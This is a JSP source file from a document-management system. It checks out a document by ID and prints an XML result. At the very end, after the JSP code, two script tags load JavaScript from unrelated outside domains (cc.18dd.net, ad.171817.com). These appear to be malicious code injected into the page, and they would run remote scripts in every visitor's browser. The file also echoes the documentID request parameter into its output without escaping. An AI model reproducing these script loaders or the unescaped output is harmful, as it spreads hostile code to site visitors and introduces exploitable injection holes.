<%
/*
 * @(#)checkinDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**  
   checkoutDocument.jsp
   checkout a document
  
    @author             Holmes Yan
    @company            DCIVision Ltd
    @creation date      07/8/2004
    @version            $Revision: 1.10 $
*/ 
%>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ include file="monitorLoginStatus.jsp"%>
<%
// Variables declaration.
String documentID = request.getParameter("documentID");

// When checkout, we need to check if the file is checkout already, and then download the file.
out.println("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
out.println("<!--exmaples : http://localhost:8080/EIP/jsp/odma/checkoutDocument.jsp?documentID=42-->");
try {
  if (Utility.isEmpty(documentID)) {
    out.println("<check-out documentID=\""+documentID+"\" result=\"documentIDNullException\">DocumentID can not be null or empty.</check-out>");
    out.close();
  }
  CheckoutManager om = new CheckoutManager(sessionContainer);
  om.checkoutDocument(documentID);
  out.println("<check-out documentID=\""+documentID+"\" result=\"succed\">Checkout Successful!</check-out>");
} catch(UnrelockableException ue) {
  out.println("<check-out documentID=\""+documentID+"\" result=\"CheckoutAlreadyException\">The document is already checkout .</check-out>");
} catch(Exception ex) {
  out.println("<check-out documentID=\""+documentID+"\" result=\"UnknownException\">Checkout unsuccessful.</check-out>");
}
%>
<%!
  public class CheckoutManager {
    private Connection conn; 
    private DocumentRetrievalManager drm;
    private VersionControlManager vcm;

    CheckoutManager(SessionContainer sessionContainer) throws Exception { 
      conn = DataSourceFactory.getConnection();
      drm = new DocumentRetrievalManager(sessionContainer, conn);
      vcm = new VersionControlManager(sessionContainer, conn);
    }

    public void checkoutDocument(String documentID) throws Exception {
      try {
        DmsDocument dmsDocument = drm.getDocument(TextUtility.parseIntegerObj(documentID));
        vcm.checkoutDocument(DmsVersion.EXCLUSIVE_LOCK,dmsDocument);
        conn.commit();
      } catch (Exception e) {
        conn.rollback();
        throw e;
      } finally {
        release();
      }
    }

    private void release() throws Exception {
      try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
      drm = null;
      vcm = null;
    }
  }
%>
 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>